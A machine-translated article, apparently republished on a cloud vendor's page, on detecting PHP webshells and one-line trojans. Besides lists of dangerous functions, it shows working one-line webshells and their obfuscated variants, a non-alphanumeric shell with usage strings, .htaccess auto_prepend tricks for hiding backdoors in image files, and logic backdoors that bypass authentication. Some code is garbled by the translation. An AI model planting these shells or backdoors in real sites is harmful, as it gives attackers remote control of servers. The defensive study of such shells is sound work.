Eliminate php webshell and one-sentence Trojan

Source: Internet
Author: User

In general, the detection and removal of php webshell and one-sentence Trojan are mainly carried out in three aspects.
1. ShellFeatures
2. PHPSecurity Functions and variablesAnd Security Configuration Options
3.Syntax Detection
FirstBased on Shell features, this method mainly targets reference feature libraries and matching algorithms such as base64_decode encoding and gzinflate: Web Shell Detector v1.51. Currently, there are 296 feature catalogs.
SecondThe functions and security configuration options related to PHP security are classified. I have read many articles, blogs, and open-source tools. I would like to thank you for your reference.

1. include/require/require_once/include_once/file_get_contents // File Inclusion
2. exec/system/popen/passthru/proc_open/pcntl_exec/shell_exec/curl_exec/curl_multi_exec/''/escapeshellcmd/pcntl_exec/system Command Execution
3. eval/preg_replace/assert/call_user_func/call_user_func_array/create_function/ob_start/array_map // Code Execution
4. _ GET/_ POST/_ COOKIE/_ SERVER/_ REQUEST/_ ENV/GLOBALS/php: // input/getenv // Data Transmission
5. session/cookie
6. extract/parse_str/mb_parse_str/import_request_variables/unserialize
7. copy/rmdir/chmod/delete/fwrite/fopen/readfile/fpassthru/logs/file_put_contents/unlink/upload/opendir/fgetc/fgets/ftruncate/fputs/fputcs/File Operations
8. select/insert/update/delete/order by/group by/limit/in (/stripslashes/urldecode // database operation
9.confirm_phpdoc_compiled/mssql_pconnect/mssql_connect/crack_opendict/snmpget/ibase_connect
10.echo/print/printf/vprintf/document.write/document.innerHTML/document.innerHtmlText
11. phpinfo/highlight_file/show_source/parse_ini_file // sensitive information, source code Leakage
12. iconv/mb_convert_encoding13.base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 // code encryption
 
Others:
 
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
 
Security Configuration options are included in php. ini.
 
safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' "  \  and NUL's  with a backslash and we don't want that )short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
Open_basedir restrict access to directories
Display_errors = off: error message displayed
Auto_prepend_file = on is loaded before each page
Auto_append_file = on is loaded after each page
 
Use. htaccess:
SetHandler
// You can save the php code in a non-php suffix file. For example, x.jpg writes the following code into .htaccessand connects x.jpg to start the backdoor Trojan SetHandler application/x-httpd-php.
Use auto_prepend_file
// You can save the php code in a non-php suffix file, for example, 123.gif. write the following code. in htaccess, the file path must be an absolute path. when accessing any php file on the website, the php backdoor Trojan will be started. You can record the values of all $ _ requests without changing the site source code, you can also mount Trojans in batches.
Php_value auto_prepend_file c:/apache2/htdocs/123.gif
Use auto_append_file
// Similar to auto_prepend_file, you can save the php code in a non-php suffix file, for example, 123.gif. write the following code. in htaccess, the file path must be an absolute path. when accessing any php file on the website, the php backdoor Trojan will be started.
Php_value auto_append_file c:/apache2/htdocs/123.gif
AgainNow that we know the features of webshell and common methods for execution and utilization, can we do feature killing? In fact, due to the flexibility and scalability of the php language, a large number of changes to ids, ips, and av detection are avoided.
Below are some common deformation methods:
We use the simplest one-sentence Trojan <? Php assert ($ _ POST ['a']);?> Start a magical transformation journey.
 
1. <? Php assert ($ {"_ PO". "ST"} ['a']);?> // Deformation the POST
2. <? Php assert ($/* a */{"_ PO". "ST"} ['a']);?> // Deformation $ {
3. <? Php $ B = (string) key ($ _ POST); $ B ($ _ POST ['assert ']);?> // Syntax Deformation
4. <? Php $ B = "". "s ". "s ". "e ". "r ". "t"; $ B ($ _ POST ["a"]);?> // Hide assert
5. <? Php $ a = str_replace (x, "", axsxxsxexrxxt); $ B ($ _ POST ["a"]);?> // Hide assert
6. <? Php $ _ POST ['B'] ($ _ POST ['a']);?> B = assert & a = phpinfo () // replace assert. Logs cannot be recorded at all.
 
The above is a common php one-sentence deformation method, and the above methods can overlap with each other to increase the difficulty of detection. The following are some advanced and BT methods to avoid deformation,
1. Fredrik mentioned tiny php shell http://h.ackack.net/tiny-php-shell.html
<? = ($ _ = @ $ _ GET [2]). @ $ _ ($ _ GET [1])?>
// Usage:/test. php? 1 = phpinfo () & 2 = assert
2. Spanner's Non alphanumeric webshell
Http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
<? $ _ = ""; $ _ [+ ""] = ''; $ _ =" $ _". ""; $ _ = ($ _ [+ ""] | ""). ($ _ [+ ""] | ""). ($ _ [+ ""] ^ "");?> <? =$ {'_'. $ _} ['_'] ($ {'_'. $ _} ['_']);?> // Usage: _ = shell_exec & __= whoami
3. <? Php $ k = "{$ {phpinfo ()}";?> // Use the characteristics of curly braces
4. Cooperate with the various php functions mentioned earlier, such as create_function and preg_replace. Http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html
From the above content, we can see that if <? Php assert ($ _ POST ['a']);?> When the assert in is regarded as the Data Execution part, the $ _ POST ['a'] is regarded as the data transmission part, although we cannot control it during data transmission, however, we can easily find the Data Execution location "(", so we can easily make our webshell detection method: Use token_get_all to split the php code into tokens, then find each "(" and check whether the data in front of the brackets is legal.
As for how to determine the validity, we follow the principle: if it is a space, comment, and so on, then take the ignore method (I .e., continue, continue to judge); if it is a branch, condition judgment or operator, then we think it is legal. If it is a string and in the blacklist, we think it is illegal, otherwise it is legal. If the above conditions are not met, we first consider it illegal, this item will be continuously improved later. The Demo is at the end.
Challenges:
1. webshell
Webshell does not simply divide a shell into two sentences, for example, $ a =$ _ GET ['a']; eval ($ ); it makes no sense to do so. What makes sense is to hide the code for Data Execution and data transmission, and scatter the code in the source code of multiple php applications. Here is a simple example. For example, we have inserted such code in a. php to generate a shell file if necessary:
File_put_contents ("/home/www/abc.txt", str_rot13 ('some code already encode '));
Then we implement another data executor in B. php. The simplest thing is:
Include "/home/www/abc.txt ";
Therefore, this two-step webshell is very difficult to find, such as uploading a file, then get the file location through $ _ FILES ['userfile'] ['tmp _ name'], or use ftp_get to get an object; or construct an injection point that can be directly backupshell to complete this step. We can also use functions such as curl, file, imagecreatefrompng, get_headers, bzopen, and svn_checkout to provide data. And there are dozens to dozens of such functions, As long as we can read network information or read or write local files, we can make it our data provider,The shell detection script will never put itself at your fingertips. It is also a good way to hide our data through sqlite, mysql, or other databases.
For data executors, even if all the include operations are grep, it is not that easy to find the webshell data executors. In particular, we assume that this include is the original normal code logic, and the change is only the previous data transmitter (that is, the page to be included ). In addition, some MVC frameworks have the function of automatically loading helper and model, and even some have the function of automatically loading viewer, which is also a good place for us to hide. In addition, we can also use functions that are generally not in the blacklist to bypass shell script detection, or directly find the above functions in the application code, check whether the referenced variables can be changed to our data provider.
Therefore, we can see that the biggest difference between "two sentences" and a webshell is that it does not construct new data executors or can completely conceal data Executors (using existing code logic, etc ), the shell function is completed only by transforming or constructing the data provider. $ _ GET, $ _ POST, $ _ SERVER, $ _ COOKIE, $ _ FILE, $ _ REQUEST, $ GLOBALS ["_ GET"], $/* hello */ {"_ G ". "ET"} is our data transmitter. file_get_contents, file, file_put_contents, and even print_r and unserialize can all conceal the data we want to transmit. Of course, tools that scan for code hazards (such as Rips) can certainly scan for these risks, but these tools are not used to scan webshells after all, and the false positive rate is quite high.
2. Logical Backdoors
Of course, the above exploitation method still requires the existence of special functions. Therefore, we can try to leave another BACKDOOR: Logical backdoor. For example, the file source code is as follows:
 
<? Phpforeach ($ _ GET as $ key => $ value) {// added by an attacker
    $$key = $value;}// ... some code
If (logged_in () | $ authenticated) {// original logic
// ... administration area
}?>
 
Usage: http://www.example.com/index.php? Authenticated = true
Or add Logic
 
if($user_level==ADMIN || $user_name==’admin’)
{//admin area}
 
Or add Configuration
 
$allow_upload = array(
‘jpg’,’gif’,’png’,
‘php’,);
 
As you can imagine, the difficulty of detection is almost impossible to solve by scanning features. We can only use other methods, such as online file monitoring and periodic diff of online and SVN code.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.